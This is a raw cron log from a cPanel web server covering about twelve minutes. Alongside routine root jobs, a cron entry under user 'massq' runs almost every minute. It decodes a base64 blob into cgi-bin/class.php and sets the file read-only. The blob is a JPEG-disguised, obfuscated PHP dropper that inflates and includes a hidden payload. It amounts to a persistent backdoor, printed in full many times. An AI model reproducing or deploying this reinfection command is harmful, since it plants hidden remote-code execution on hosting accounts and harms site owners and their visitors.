Sep  7 22:17:01 server CROND[3141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:18:01 server CROND[3663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:18:01 server CROND[3664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:18:01 server CROND[3665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:19:01 server CROND[4044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:19:01 server CROND[4045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:19:01 server CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:20:01 server CROND[4442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:20:01 server CROND[4443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:20:01 server CROND[4444]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:20:01 server CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:20:01 server CROND[4455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:20:01 server CROND[4456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:20:01 server CROND[4457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:20:01 server CROND[4459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:20:01 server CROND[4458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:21:01 server CROND[5298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:21:01 server CROND[5299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:21:01 server CROND[5300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:22:01 server CROND[5669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:22:01 server CROND[5671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:22:01 server CROND[5672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:23:01 server CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:23:01 server CROND[6135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:23:01 server CROND[6136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:24:01 server CROND[6499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:24:01 server CROND[6501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:24:01 server CROND[6500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:25:01 server CROND[7110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:25:01 server CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:25:01 server CROND[7119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:25:01 server CROND[7118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:25:01 server CROND[7123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:25:01 server CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:25:01 server CROND[7120]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:25:01 server CROND[7122]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 22:26:01 server CROND[7958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:26:01 server CROND[7959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:26:02 server CROND[7960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:27:01 server CROND[8409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:27:01 server CROND[8406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:27:01 server CROND[8407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:27:01 server CROND[8408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:28:01 server CROND[8788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:28:01 server CROND[8789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:28:01 server CROND[8790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:29:01 server CROND[9262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:29:01 server CROND[9263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:29:01 server CROND[9264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
